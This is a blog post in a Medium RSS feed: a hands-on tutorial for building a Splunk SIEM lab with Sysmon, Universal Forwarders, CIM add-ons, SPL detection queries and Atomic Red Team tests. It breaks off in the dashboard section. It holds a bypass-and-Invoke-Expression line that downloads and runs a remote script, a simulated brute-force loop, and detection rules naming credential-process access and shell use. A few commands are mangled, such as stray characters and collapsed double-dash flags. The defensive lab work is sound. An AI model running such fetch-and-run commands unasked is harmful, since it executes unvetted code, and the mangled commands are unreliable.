<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kimmy on Medium]]></title>
        <description><![CDATA[Stories by Kimmy on Medium]]></description>
        <link>https://medium.com/@0xKimmy?source=rss-cdc782bf2cb4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*5Q85P4kn4rC1YePP6Ehafg.jpeg</url>
            <title>Stories by Kimmy on Medium</title>
            <link>https://medium.com/@0xKimmy?source=rss-cdc782bf2cb4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 14:26:22 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xKimmy/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From Scratch to SIEM: Full Splunk Implementation and Automation with Docker]]></title>
            <link>https://systemweakness.com/from-scratch-to-siem-full-splunk-implementation-and-automation-with-docker-437036f50f57?source=rss-cdc782bf2cb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/437036f50f57</guid>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[implementation]]></category>
            <category><![CDATA[automation]]></category>
            <dc:creator><![CDATA[Kimmy]]></dc:creator>
            <pubDate>Thu, 28 May 2026 12:42:42 GMT</pubDate>
            <atom:updated>2026-06-03T05:54:11.883Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6geCYrBZFZ01H1TVDj3q0A.png" /></figure><p>In this guide, I will take you on a step-by-step how to build a Security Information and Event Management (SIEM) environment using Splunk.</p><p>and we will go through automating the process Instead of running endless manual dpkg installation commands and tweaking configuration files one by one, so as a security automation engineer I will do this in a modern way: <strong>Infrastructure as Code using Docker</strong>.</p><p>By rakan adnan.</p><h3>The Anatomy of Splunk: Core Components</h3><p>Before starting we need to understand splunk components.</p><ul><li><strong>The Indexer:</strong> Think of this as the heavy lifter. It receives raw log data, parses it, indexes it, and writes it to disk. When an analyst runs a search, the indexer executes the query against the data. Because of this, it requires high-speed I/O (SSDs are highly recommended).</li><li><strong>The Search Head:</strong> This is the analyst’s command center. It provides the web interface where you will run searches, build dashboards, and configure alerts. It is heavily reliant on memory.</li><li><strong>The Universal Forwarder (UF):</strong> These are your lightweight scouts. Installed directly on your endpoints (Windows, Linux, etc.), the UF operates quietly in the background, collecting logs and shipping them outbound to the Indexer over port 9997.</li><li><strong>The Heavy Forwarder (HF):</strong> An optional but powerful intermediary node that can parse, filter, and route data <em>before</em> it ever hits your Indexer.</li><li><strong>The Deployment Server:</strong> When you have hundreds of endpoints, you don’t want to log into each one to update a configuration file. The Deployment Server acts as a central management hub to push updates to all your Universal Forwarders simultaneously.</li></ul><h3>Infrastructure Requirements</h3><p>We will be building this environment using VMware. To ensure reliable communication between the agents and the SIEM, all virtual machines must be placed on the same internal network using static IP addresses.</p><p>Here is the hardware provisioning you will need:</p><p><strong>1. The Splunk Server (Combined Indexer &amp; Search Head)</strong></p><ul><li><strong>OS:</strong> Ubuntu 22.04 LTS</li><li><strong>IP Address:</strong> 192.168.100.20</li><li><strong>CPU:</strong> 4 vCPUs</li><li><strong>RAM:</strong> 4 GB</li><li><strong>Storage:</strong> 500 GB SSD</li></ul><p><strong>2. Windows Endpoint</strong></p><ul><li><strong>OS:</strong> Windows 11/10</li><li><strong>IP Address:</strong> 192.168.1.20</li><li><strong>CPU:</strong> 2 vCPUs</li><li><strong>RAM:</strong> 4 GB</li><li><strong>Storage:</strong> 125 GB</li></ul><p><strong>3. Linux Endpoint (Server Monitoring)</strong></p><ul><li><strong>OS:</strong> Ubuntu 22.04 LTS</li><li><strong>IP Address:</strong> 192.168.1.30</li><li><strong>CPU:</strong> 1 vCPU</li><li><strong>RAM:</strong> 4 GB</li><li><strong>Storage:</strong> 500 GB</li></ul><h3>Downloading and Installing the Splunk Engine</h3><p>The first step is installing the Splunk Enterprise installation package.</p><p>Navigate over to the official <a href="https://www.splunk.com/">Splunk Download Portal</a>.</p><p>Grab the .deb package for Linux.</p><h3>Installing Splunk (Linux)</h3><pre>wget -O splunk-9.4.6-60284236e579-linux-amd64.deb \<br>&#39;https://download.splunk.com/products/splunk/releases/9.4.6/linux/splunk-9.4.6-60284236e579-linux-amd64.deb&#39;<br><br>sudo dpkg -i splunk-9.4.6-60284236e579-linux-amd64.deb<br><br># Check if splunk user exists<br>id splunk<br><br># If it does NOT exist:<br>sudo useradd -r -m -d /opt/splunk splunk<br><br># Give ownership<br>sudo chown -R splunk:splunk /opt/splunk<br><br># Switch to splunk user<br>sudo su - splunk<br><br># Start Splunk<br>/opt/splunk/bin/splunk start --accept-license<br><br># Enable auto start with systemd<br>/opt/splunk/bin/splunk enable boot-start -user splunk --systemd-managed 1<br><br># Check status<br>s/opt/splunk/bin/splunk status</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*smuOYYxrsv2ZBaOoLojOGA.png" /></figure><h3>Ports to be Allowed</h3><pre>sudo ufw allow 8000/tcp<br>sudo ufw allow 8089/tcp<br>sudo ufw allow 9997/tcp<br>sudo ufw allow 8088/tcp<br>sudo ufw reload</pre><p><strong>Port Purpose</strong></p><ul><li><strong>8000</strong> → Web UI</li><li><strong>8089</strong> → Management API</li><li><strong>9997</strong> → Forwarder ingestion</li><li><strong>8088</strong> → HTTP Event Collector</li></ul><h3>Login &amp; Admin Setup</h3><p>Open http://&lt;your-splunk-server-ip&gt;:8000 in a browser.</p><p>2. Login with the admin credentials you created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pch9hRMj_xgcB6tfQD8foQ.png" /></figure><h3>Enable Receiving for Forwarders</h3><p>Splunk does not listen for forwarders by default.</p><p>We Need To Enable receiving on the indexer:</p><p>- Just Go To <strong>Settings </strong>→ <strong>Forwarding and Receiving</strong> → <strong>Configure Receiving</strong> → <strong>New Receiving Port</strong> → <strong>9997</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DZyardAjsUjhY9Exm1hShw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qz2l6zAuE9pc_sS2ohFFIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vo9IZMTNb7FUP_MrEyLovg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EFtEFFqEPSWQOu2F_aGwBA.png" /></figure><h3>Sysmon Installation &amp; Configuration</h3><p>I’ll be honest with you default Windows Event Logs just don’t cut it when you are hunting for advanced threats. they completely miss the good stuff.</p><p>you won’t see process creations with their full command-line arguments, you can’t track outbound network connections, and you have no visibility into file hashes or parent-child process relationships etc.</p><h3>Downloading Sysmon</h3><p>Download from Microsoft Sysinternals:</p><pre>https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon</pre><p>Or directly from the Sysinternals Suite:</p><pre>https://download.sysinternals.com/files/Sysmon.zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*49gaDwCVs0Pic211yLGWIw.png" /></figure><h3>Getting a Hardened Sysmon Configuration</h3><p>We need a hardened XML configuration file that tells Sysmon what to monitor and what to filter out.</p><p><strong>SwiftOnSecurity (Community Standard)</strong> Download from GitHub:</p><pre>https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml</pre><h3>Installing Sysmon</h3><p>Navigate to the directory where you have sysmon and sysmonconfig Open <strong>Command Prompt as Administrator</strong> and run:</p><pre>sysmon64.exe -accepteula -i sysmonconfig.xml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IJZNYzC_NPYF0Yejo_0OnA.png" /></figure><h3>Verifying Sysmon Is Running</h3><p>Check the service status:</p><pre>sc query Sysmon64</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*AGHzTvA_fCI3WQB759tUkA.png" /></figure><p><strong>Verify Events Are Appearing in Event Log:</strong></p><p>via PowerShell run:</p><pre># View the last 10 Sysmon events<br>Get-WinEvent -LogName &quot;Microsoft-Windows-Sysmon/Operational&quot; -MaxEvents 10 |<br>Select-Object TimeCreated, Id, Message | Format-Table -AutoSize</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zPPjk3QcohjVG02_EvHhhQ.png" /></figure><h3>Sample Sysmon Config Sections (XML)</h3><p>Below are examples of key Sysmon XML configuration blocks illustrating the structure:</p><pre>&lt;Sysmon schemaversion=&quot;4.90&quot;&gt;<br>  &lt;!-- Strong baseline telemetry --&gt;<br>  &lt;HashAlgorithms&gt;sha256,IMPHASH&lt;/HashAlgorithms&gt;<br>  &lt;DnsLookup&gt;true&lt;/DnsLookup&gt;<br>  &lt;CheckRevocation&gt;true&lt;/CheckRevocation&gt;<br><br>  &lt;EventFiltering&gt;<br><br>    &lt;!-- 1) Process Creation: log broadly, drop a little OS noise --&gt;<br>    &lt;RuleGroup name=&quot;ProcessCreate&quot; groupRelation=&quot;or&quot;&gt;<br>      &lt;ProcessCreate onmatch=&quot;exclude&quot;&gt;<br>        &lt;Image condition=&quot;is&quot;&gt;C:\Windows\System32\svchost.exe&lt;/Image&gt;<br>        &lt;Image condition=&quot;is&quot;&gt;C:\Windows\System32\conhost.exe&lt;/Image&gt;<br>        &lt;Image condition=&quot;is&quot;&gt;C:\Windows\System32\csrss.exe&lt;/Image&gt;<br>        &lt;Image condition=&quot;is&quot;&gt;C:\Windows\System32\smss.exe&lt;/Image&gt;<br>        &lt;Image condition=&quot;is&quot;&gt;C:\Windows\System32\wininit.exe&lt;/Image&gt;<br>        &lt;Image condition=&quot;is&quot;&gt;C:\Windows\System32\services.exe&lt;/Image&gt;<br>        &lt;Image condition=&quot;is&quot;&gt;C:\Windows\System32\lsass.exe&lt;/Image&gt;<br>        &lt;Image condition=&quot;is&quot;&gt;C:\Windows\System32\fontdrvhost.exe&lt;/Image&gt;<br>        &lt;Image condition=&quot;is&quot;&gt;C:\Windows\System32\audiodg.exe&lt;/Image&gt;<br>        &lt;Image condition=&quot;is&quot;&gt;C:\Windows\System32\RuntimeBroker.exe&lt;/Image&gt;<br>        &lt;Image condition=&quot;is&quot;&gt;C:\Windows\System32\WmiPrvSE.exe&lt;/Image&gt;<br>        &lt;Image condition=&quot;is&quot;&gt;C:\Windows\System32\TiWorker.exe&lt;/Image&gt;<br>        &lt;Image condition=&quot;is&quot;&gt;C:\Windows\System32\MoUsoCoreWorker.exe&lt;/Image&gt;<br>        &lt;Image condition=&quot;is&quot;&gt;C:\Program Files\Windows Defender\MsMpEng.exe&lt;/Image&gt;<br>        &lt;Image condition=&quot;is&quot;&gt;C:\Program Files\Windows Defender\NisSrv.exe&lt;/Image&gt;<br>      &lt;/ProcessCreate&gt;<br>    &lt;/RuleGroup&gt;<br><br>    &lt;!-- 2) Network Connections: capture all, let SIEM do the hunting --&gt;<br>    &lt;RuleGroup name=&quot;NetworkConnect&quot; groupRelation=&quot;or&quot;&gt;<br>      &lt;NetworkConnect onmatch=&quot;include&quot; /&gt;<br>    &lt;/RuleGroup&gt;<br><br>    &lt;!-- 3) File creation time changes (timestomping) --&gt;<br>    &lt;RuleGroup name=&quot;FileCreateTime&quot; groupRelation=&quot;or&quot;&gt;<br>      &lt;FileCreateTime onmatch=&quot;include&quot; /&gt;<br>    &lt;/RuleGroup&gt;<br><br>    &lt;!-- 4) Driver loads --&gt;<br>    &lt;RuleGroup name=&quot;DriverLoad&quot; groupRelation=&quot;or&quot;&gt;<br>      &lt;DriverLoad onmatch=&quot;include&quot; /&gt;<br>    &lt;/RuleGroup&gt;<br><br>    &lt;!-- 5) Image loads: only care about modules outside normal system/app paths --&gt;<br>    &lt;RuleGroup name=&quot;ImageLoad&quot; groupRelation=&quot;or&quot;&gt;<br>      &lt;ImageLoad onmatch=&quot;exclude&quot;&gt;<br>        &lt;Image condition=&quot;begin with&quot;&gt;C:\Windows\System32\&lt;/Image&gt;<br>        &lt;Image condition=&quot;begin with&quot;&gt;C:\Windows\SysWOW64\&lt;/Image&gt;<br>        &lt;Image condition=&quot;begin with&quot;&gt;C:\Windows\WinSxS\&lt;/Image&gt;<br>        &lt;Image condition=&quot;begin with&quot;&gt;C:\Program Files\&lt;/Image&gt;<br>        &lt;Image condition=&quot;begin with&quot;&gt;C:\Program Files (x86)\&lt;/Image&gt;<br>      &lt;/ImageLoad&gt;<br>    &lt;/RuleGroup&gt;<br><br>    &lt;!-- 6) Remote thread creation --&gt;<br>    &lt;RuleGroup name=&quot;CreateRemoteThread&quot; groupRelation=&quot;or&quot;&gt;<br>      &lt;CreateRemoteThread onmatch=&quot;include&quot; /&gt;<br>    &lt;/RuleGroup&gt;<br><br>    &lt;!-- 7) Raw disk access --&gt;<br>    &lt;RuleGroup name=&quot;RawAccessRead&quot; groupRelation=&quot;or&quot;&gt;<br>      &lt;RawAccessRead onmatch=&quot;include&quot; /&gt;<br>    &lt;/RuleGroup&gt;<br><br>    &lt;!-- 8) Process access: LSASS and a few sensitive targets --&gt;<br>    &lt;RuleGroup name=&quot;ProcessAccess&quot; groupRelation=&quot;or&quot;&gt;<br>      &lt;ProcessAccess onmatch=&quot;include&quot;&gt;<br>        &lt;TargetImage condition=&quot;image&quot;&gt;lsass.exe&lt;/TargetImage&gt;<br>        &lt;TargetImage condition=&quot;image&quot;&gt;winlogon.exe&lt;/TargetImage&gt;<br>        &lt;TargetImage condition=&quot;image&quot;&gt;services.exe&lt;/TargetImage&gt;<br>        &lt;TargetImage condition=&quot;image&quot;&gt;samss.exe&lt;/TargetImage&gt;<br>        &lt;TargetImage condition=&quot;image&quot;&gt;csrss.exe&lt;/TargetImage&gt;<br>      &lt;/ProcessAccess&gt;<br>    &lt;/RuleGroup&gt;<br><br>    &lt;!-- 9) File creates in high-value writable locations --&gt;<br>    &lt;RuleGroup name=&quot;FileCreate&quot; groupRelation=&quot;or&quot;&gt;<br>      &lt;FileCreate onmatch=&quot;include&quot;&gt;<br>        &lt;TargetFilename condition=&quot;begin with&quot;&gt;C:\Users\&lt;/TargetFilename&gt;<br>        &lt;TargetFilename condition=&quot;begin with&quot;&gt;C:\ProgramData\&lt;/TargetFilename&gt;<br>        &lt;TargetFilename condition=&quot;begin with&quot;&gt;C:\Windows\Temp\&lt;/TargetFilename&gt;<br>        &lt;TargetFilename condition=&quot;begin with&quot;&gt;C:\Windows\Tasks\&lt;/TargetFilename&gt;<br>        &lt;TargetFilename condition=&quot;begin with&quot;&gt;C:\Users\Public\&lt;/TargetFilename&gt;<br>        &lt;TargetFilename condition=&quot;contains&quot;&gt;\AppData\Local\Temp\&lt;/TargetFilename&gt;<br>        &lt;TargetFilename condition=&quot;contains&quot;&gt;\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\&lt;/TargetFilename&gt;<br>        &lt;TargetFilename condition=&quot;contains&quot;&gt;\Downloads\&lt;/TargetFilename&gt;<br>        &lt;TargetFilename condition=&quot;contains&quot;&gt;\Desktop\&lt;/TargetFilename&gt;<br>      &lt;/FileCreate&gt;<br>    &lt;/RuleGroup&gt;<br><br>    &lt;!-- 10) Registry activity: persistence-focused keys --&gt;<br>    &lt;RuleGroup name=&quot;Registry&quot; groupRelation=&quot;or&quot;&gt;<br>      &lt;RegistryEvent onmatch=&quot;include&quot;&gt;<br>        &lt;TargetObject condition=&quot;contains&quot;&gt;\Software\Microsoft\Windows\CurrentVersion\Run&lt;/TargetObject&gt;<br>        &lt;TargetObject condition=&quot;contains&quot;&gt;\Software\Microsoft\Windows\CurrentVersion\RunOnce&lt;/TargetObject&gt;<br>        &lt;TargetObject condition=&quot;contains&quot;&gt;\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run&lt;/TargetObject&gt;<br>        &lt;TargetObject condition=&quot;contains&quot;&gt;\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs&lt;/TargetObject&gt;<br>        &lt;TargetObject condition=&quot;contains&quot;&gt;\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options&lt;/TargetObject&gt;<br>        &lt;TargetObject condition=&quot;contains&quot;&gt;\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit&lt;/TargetObject&gt;<br>        &lt;TargetObject condition=&quot;contains&quot;&gt;\Software\Microsoft\Windows NT\CurrentVersion\Winlogon&lt;/TargetObject&gt;<br>        &lt;TargetObject condition=&quot;contains&quot;&gt;\System\CurrentControlSet\Services\&lt;/TargetObject&gt;<br>        &lt;TargetObject condition=&quot;contains&quot;&gt;\Software\Microsoft\PowerShell&lt;/TargetObject&gt;<br>        &lt;TargetObject condition=&quot;contains&quot;&gt;\Software\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\&lt;/TargetObject&gt;<br>        &lt;TargetObject condition=&quot;contains&quot;&gt;\Software\Classes\CLSID\&lt;/TargetObject&gt;<br>      &lt;/RegistryEvent&gt;<br>    &lt;/RuleGroup&gt;<br><br>    &lt;!-- 11) Named pipes --&gt;<br>    &lt;RuleGroup name=&quot;PipeEvent&quot; groupRelation=&quot;or&quot;&gt;<br>      &lt;PipeEvent onmatch=&quot;include&quot; /&gt;<br>    &lt;/RuleGroup&gt;<br><br>    &lt;!-- 12) WMI activity --&gt;<br>    &lt;RuleGroup name=&quot;WmiEvent&quot; groupRelation=&quot;or&quot;&gt;<br>      &lt;WmiEvent onmatch=&quot;include&quot; /&gt;<br>    &lt;/RuleGroup&gt;<br><br>    &lt;!-- 13) DNS queries --&gt;<br>    &lt;RuleGroup name=&quot;DnsQuery&quot; groupRelation=&quot;or&quot;&gt;<br>      &lt;DnsQuery onmatch=&quot;include&quot; /&gt;<br>    &lt;/RuleGroup&gt;<br><br>    &lt;!-- 14) File deletes --&gt;<br>    &lt;RuleGroup name=&quot;FileDelete&quot; groupRelation=&quot;or&quot;&gt;<br>      &lt;FileDelete onmatch=&quot;include&quot; /&gt;<br>    &lt;/RuleGroup&gt;<br><br>    &lt;!-- 15) Clipboard changes --&gt;<br>    &lt;RuleGroup name=&quot;ClipboardChange&quot; groupRelation=&quot;or&quot;&gt;<br>      &lt;ClipboardChange onmatch=&quot;include&quot; /&gt;<br>    &lt;/RuleGroup&gt;<br><br>    &lt;!-- 16) Process tampering --&gt;<br>    &lt;RuleGroup name=&quot;ProcessTampering&quot; groupRelation=&quot;or&quot;&gt;<br>      &lt;ProcessTampering onmatch=&quot;include&quot; /&gt;<br>    &lt;/RuleGroup&gt;<br><br>    &lt;!-- 17) File delete detected --&gt;<br>    &lt;RuleGroup name=&quot;FileDeleteDetected&quot; groupRelation=&quot;or&quot;&gt;<br>      &lt;FileDeleteDetected onmatch=&quot;include&quot; /&gt;<br>    &lt;/RuleGroup&gt;<br><br>    &lt;!-- 18) File stream hashes (ADS often used for hiding payloads) --&gt;<br>    &lt;RuleGroup name=&quot;FileCreateStreamHash&quot; groupRelation=&quot;or&quot;&gt;<br>      &lt;FileCreateStreamHash onmatch=&quot;include&quot; /&gt;<br>    &lt;/RuleGroup&gt;<br><br>  &lt;/EventFiltering&gt;<br>&lt;/Sysmon&gt;</pre><h3>Splunk Universal Forwarder Deployment</h3><h3>Installing UF on Windows</h3><pre>https://www.splunk.com/en_us/download/universal-forwarder.html</pre><p>Select: <strong>Windows → 64-bit MSI</strong></p><p><strong>GUI Installation:</strong></p><p>1. Run the MSI installer as Administrator</p><p>2. Accept the license</p><p>3. Set admin username/password for the forwarder</p><p>4. Enter your Splunk indexer IP and port</p><p>5. Complete installation</p><h3>Installing UF on Linux</h3><pre># Ubuntu/Debian<br>wget -O splunkforwarder-9.x.x-linux-2.6-amd64.deb \<br>&#39;https://download.splunk.com/products/universalforwarder/...&#39;<br>sudo dpkg -i splunkforwarder-9.x.x-linux-2.6-amd64.deb<br># Start and accept license<br>sudo /opt/splunkforwarder/bin/splunk start - accept-license - answer-yes \<br> - no-prompt - gen-and-print-passwd<br># Enable boot start<br>sudo /opt/splunkforwarder/bin/splunk enable boot-start</pre><pre># CentOS/RHEL<br>sudo rpm -ivh splunkforwarder-9.x.x-linux.x86_64.rpm<br>sudo /opt/splunkforwarder/bin/splunk start - accept-license<br>sudo /opt/splunkforwarder/bin/splunk enable boot-start</pre><h3>Configuring inputs.conf (Windows)</h3><p>The inputs.conf file specifies what data the forwarder collects. <strong>File location on Windows:</strong> C:\Program Files\SplunkUniversalForwarder\etc\system\local\inputs.conf</p><p>Create or edit this file with the following content:</p><pre># ============================================================<br># WINDOWS EVENT LOGS - SECURITY<br># ============================================================<br>[WinEventLog://Security]<br>index = wineventlog<br>disabled = false<br>sourcetype = WinEventLog:Security<br><br># ============================================================<br># WINDOWS EVENT LOGS - SYSTEM<br># ============================================================<br>[WinEventLog://System]<br>index = wineventlog<br>disabled = false<br>sourcetype = WinEventLog:System<br><br># ============================================================<br># WINDOWS EVENT LOGS - APPLICATION<br># ============================================================<br>[WinEventLog://Application]<br>index = wineventlog<br>disabled = false<br>sourcetype = WinEventLog:Application<br><br># ============================================================<br># SYSMON (CRITICAL FOR ENDPOINT CIM)<br># ============================================================<br>[WinEventLog://Microsoft-Windows-Sysmon/Operational]<br>index = sysmon<br>disabled = false<br>sourcetype = XmlWinEventLog:Microsoft-Windows-Sysmon/Operational<br>renderXml = true<br><br># ============================================================<br># WINDOWS DEFENDER<br># ============================================================<br>[WinEventLog://Microsoft-Windows-Windows Defender/Operational]<br>index = wineventlog<br>disabled = false<br>sourcetype = WinEventLog:Microsoft-Windows-Windows Defender/Operational<br><br># ============================================================<br># POWERSHELL<br># ============================================================<br>[WinEventLog://Microsoft-Windows-PowerShell/Operational]<br>index = wineventlog<br>disabled = false<br>sourcetype = WinEventLog:Microsoft-Windows-PowerShell/Operational</pre><blockquote><strong><em>Note:</em></strong><em> Ensure PowerShell Script Block Logging is enabled via Group Policy. This generates Event ID 4104 and captures the full decoded content of every PowerShell script, vital for detecting obfuscated attacks.</em></blockquote><h3>Configuring inputs.conf (Linux)</h3><p><strong>File location on Linux:</strong> /opt/splunkforwarder/etc/system/local/inputs.conf</p><pre># ============================================================<br># AUTH LOGS - SSH, sudo, PAM events<br># ============================================================<br>[monitor:///var/log/auth.log]<br>index = linux_logs<br>sourcetype = linux_secure<br>disabled = false<br># ============================================================<br># SYSLOG - General system messages<br># ============================================================<br>[monitor:///var/log/syslog]<br>index = linux_logs<br>sourcetype = syslog<br>disabled = false<br># ============================================================<br># AUDITD - Kernel audit framework<br># ============================================================<br>[monitor:///var/log/audit/audit.log]<br>index = linux_logs<br>sourcetype = linux_audit<br>disabled = false<br># ============================================================<br># DPKG / APT - Package installation tracking<br># ============================================================<br>[monitor:///var/log/dpkg.log]<br>index = linux_logs<br>sourcetype = dpkg<br>disabled = false<br># ============================================================<br># CRON LOGS - Scheduled task execution<br># ============================================================<br>[monitor:///var/log/cron.log]<br>index = linux_logs<br>sourcetype = syslog<br>disabled = false<br># ============================================================<br># APACHE / NGINX (uncomment if running a web server)<br># ============================================================<br>#[monitor:///var/log/apache2/access.log]<br>#index = web_logs<br>#sourcetype = access_combined<br>#[monitor:///var/log/nginx/access.log]<br>#index = web_logs<br>#sourcetype = nginx_access</pre><h3>Splunk Add-ons &amp; CIM (Common Information Model)</h3><h3>What is CIM and Why It Matters</h3><p>The Common Information Model (CIM) is a standardized schema that normalizes fields from different log sources into consistent field names (e.g., translating various source formats into a standard user or src_user field).</p><p>CIM Data Models for Security include:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*QY-9C1eJ0ctM2vPY1tQeiA.png" /></figure><h3>Installing Add-ons from Splunkbase</h3><p>Navigate to: https://splunkbase.splunk.com</p><p><strong>Required Add-ons for This Lab:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*vt0wwRsGO2DuSh4ZkhTwBw.png" /></figure><p>1. Log into Splunkbase and download the `.tgz` file</p><p>2. In Splunk Web, go to: <strong>Apps → Manage Apps</strong></p><p>3. Click <strong>Install app from file</strong></p><p>4. Click <strong>Choose File</strong> and select the downloaded `.tgz`</p><p>5. Click <strong>Upload</strong></p><p>6. Restart Splunk when prompted</p><h3>Configuring the Sysmon Add-on</h3><p>The Sysmon add-on requires specification of the correct index:</p><p><strong>Edit:</strong> /opt/splunk/etc/apps/Splunk_TA_microsoft-sysmon/local/inputs.conf</p><pre>[WinEventLog://Microsoft-Windows-Sysmon/Operational]<br>disabled = false<br>index = sysmon<br>renderXml = false</pre><h3><strong>Verifying CIM Compliance</strong></h3><p>Run these SPL searches to confirm your data is CIM-compliant:</p><pre>| datamodel Authentication search | head 20</pre><pre>| datamodel Endpoint.Processes search | head 20</pre><pre>| datamodel Network_Traffic search | head 20</pre><p>If these return data, your logs are correctly mapped to CIM data models.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ruk2Pg6Hb-2L9_BPm6mOzQ.png" /></figure><h3><strong>Check CIM Pivot (UI Method):</strong></h3><ul><li>Go to: <strong>Settings → Data Models</strong></li><li>Click on <strong>Authentication</strong></li><li>Click <strong>Pivot</strong></li><li>If data appears, CIM normalization is working.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jm7AmQmOsDYfCS4t14YSrQ.png" /></figure><h3>SOC Detection Rules (SPL Queries)</h3><p>we will make some SPL SOC query&#39;s to test our setup and detection.</p><h3>Windows Detection Rules</h3><h3>Suspicious Process Creation (e.g.)</h3><p>This catches common attacker behavior like PowerShell execution, encoded commands, or suspicious command-line usage. It WILL include false positives (admin activity, IT scripts), which is good for SOC learning examples.</p><pre>index=sysmon EventCode=1<br>| search Image=&quot;*powershell.exe&quot; OR Image=&quot;*cmd.exe&quot;<br>| stats count by User, Computer, Image, CommandLine, ParentImage<br>| where count &gt; 5</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RaRO3CyvCMIhYgCMaVnbhA.png" /></figure><h3>Linux Detection Rules</h3><h3>SSH Brute Force Attempts(e.g.)</h3><p>Detects repeated SSH authentication failures indicative of brute-force or password spraying attacks.</p><pre>index=linux_logs sourcetype=secure OR sourcetype=auth<br>&quot;Failed password&quot;<br>| stats count by src_ip, user<br>| where count &gt; 10</pre><h3><strong>Saving Searches as Alerts:</strong></h3><p>To automate notifications for these detections:</p><ul><li>Run the query and click <strong>Save As</strong> → <strong>Alert</strong>.</li><li>Configure the threshold and schedule.</li><li>Assign an action, such as executing a webhook or sending an email notification to the SOC team.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*uDt_A-7-iNt3PM_kekdL_w.png" /></figure><h3>Validation &amp; Testing</h3><p>After creating SPL detection queries, the next step is validating that the detections actually work in a real environment sao we will use tool called Atomic Red Team.</p><h3>Atomic Red Team</h3><p>Atomic Red Team by Red Canary is an execution library for simulating MITRE ATT&amp;CK techniques in a controlled manner.</p><p><strong>Installing Invoke-AtomicRedTeam (PowerShell Module)</strong> Execute on the Windows test endpoint:</p><pre>GitHub: https://github.com/redcanaryco/atomic-red-team</pre><pre>Set-ExecutionPolicy Bypass -Scope CurrentUser -Force<br>Install-Module -Name invoke-atomicredteam, powershell-yaml -Scope CurrentUser -Force<br>Import-Module invoke-atomicredteam<br>Invoke-Expression (IWR &#39;https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1&#39; -UseBasicParsing)<br>Install-AtomicRedTeam -getAtomics -Force</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-RZxFGy2MsX32GThd_pGjw.png" /></figure><h3>Running Atomic Tests and Verifying Alerts</h3><h4><strong>Test T1110 — Brute Force Login (Safe Simulation)</strong></h4><pre>for ($i = 0; $i -lt 10; $i++) {<br>    $username = &quot;testuser&quot;<br>    $password = ConvertTo-SecureString &quot;WrongPassword$i&quot; -AsPlainText -Force<br>    $cred = New-Object System.Management.Automation.PSCredential($username, $password)<br>    try {<br>        Start-Process cmd.exe -Credential $cred -ErrorAction SilentlyContinue<br>    } catch {}<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*k3DBdkRNLCQuXAshNDMj3g.png" /></figure><p>To verify the test generated the appropriate telemetry, run the following SPL query in Splunk:</p><p>Splunk SPL</p><pre>index=wineventlog EventCode=4625 TargetUserName=&quot;testuser&quot; earliest=-5m<br>| stats count BY TargetUserName, IpAddress</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2L_mQd1f_mo8NCOZJHbHDA.png" /></figure><h3>DASHBOARDS</h3><h3>Building a SOC Overview Dashboard</h3><p>A well-designed SOC dashboard gives analysts <strong>instant situational awareness</strong> without running manual searches.</p><h3>Dashboard Creation via UI</h3><ol><li>Go to: <strong>Search &amp; Reporting → Dashboards</strong></li><li>Click: <strong>Create New Dashboard</strong></li><li>Name it</li><li>Set permissions to <strong>Shared in App</strong></li><li>Click <strong>Classic Dashboards</strong></li></ol><h3>Full XML Dashboard Source Code</h3><p>Navigate to your dashboard and click <strong>Edit → Edit Source (XML)</strong>. Replace the entire content with the code below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PIEv6m9Y63EeZB_YQ0zznw.png" /></figure><figure><img alt="" 